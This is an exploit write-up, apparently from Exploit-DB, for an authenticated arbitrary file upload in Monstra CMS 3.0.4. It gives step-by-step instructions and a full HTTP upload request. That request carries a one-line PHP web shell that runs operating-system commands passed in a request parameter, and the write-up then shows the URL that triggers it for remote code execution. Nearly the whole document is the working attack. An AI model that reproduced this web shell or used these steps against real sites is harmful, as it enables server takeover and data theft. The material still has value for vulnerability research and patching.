58 lines
No EOL
2.1 KiB
Text
58 lines
No EOL
2.1 KiB
Text
# Exploit Title: Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload
|
|
# Google Dork: N/A
|
|
# Date: 2020-05-18
|
|
# Exploit Author: Kishan Lal Choudhary
|
|
# Vendor Homepage: https://monstra.org
|
|
# Software Link: https://bitbucket.org/awilum/monstra/downloads/monstra-3.0.4.zip
|
|
# Version: 3.0.4
|
|
# Tested on: Ubuntu
|
|
|
|
|
|
|
|
1. Goto: http://192.168.2.5/monstra/admin/index.php?id=filesmanager&path=uploads/
|
|
|
|
2. Upload a one liner shell with php7 extenstion ie: shell.php7
|
|
|
|
#burp request
|
|
------------------------------------EOF-----------------------------------------------------
|
|
POST /monstra/admin/index.php?id=filesmanager HTTP/1.1
|
|
Host: 192.168.2.5
|
|
Content-Length: 548
|
|
Cache-Control: max-age=0
|
|
Origin: http://192.168.2.5
|
|
Upgrade-Insecure-Requests: 1
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytRfyCkYq8NvztDBf
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Referer: http://192.168.2.5/monstra/admin/index.php?id=filesmanager
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-GB,en;q=0.9,en-US;q=0.8,fr;q=0.7
|
|
Cookie: PHPSESSID=eej6e0lqi191k2frqc2hl3v6d0; _ga=GA1.1.405623579.1579949328; _gid=GA1.1.2042923722.1579949328
|
|
Connection: close
|
|
|
|
------WebKitFormBoundarytRfyCkYq8NvztDBf
|
|
Content-Disposition: form-data; name="csrf"
|
|
|
|
2e6ae2353998caa319aae262b113c6b3f17a9636
|
|
------WebKitFormBoundarytRfyCkYq8NvztDBf
|
|
Content-Disposition: form-data; name="file"; filename="shell.php7"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
|
|
|
|
|
|
------WebKitFormBoundarytRfyCkYq8NvztDBf
|
|
Content-Disposition: form-data; name="upload_file"
|
|
|
|
Upload
|
|
------WebKitFormBoundarytRfyCkYq8NvztDBf--
|
|
|
|
------------------------------------EOF-----------------------------------------------------
|
|
|
|
|
|
3. trigger your shell by visiting http://192.168.2.5/monstra/public/uploads/shell.php7?cmd=id
|
|
|
|
|
|
|
|
|
|
We have successfully got Remote Code execution |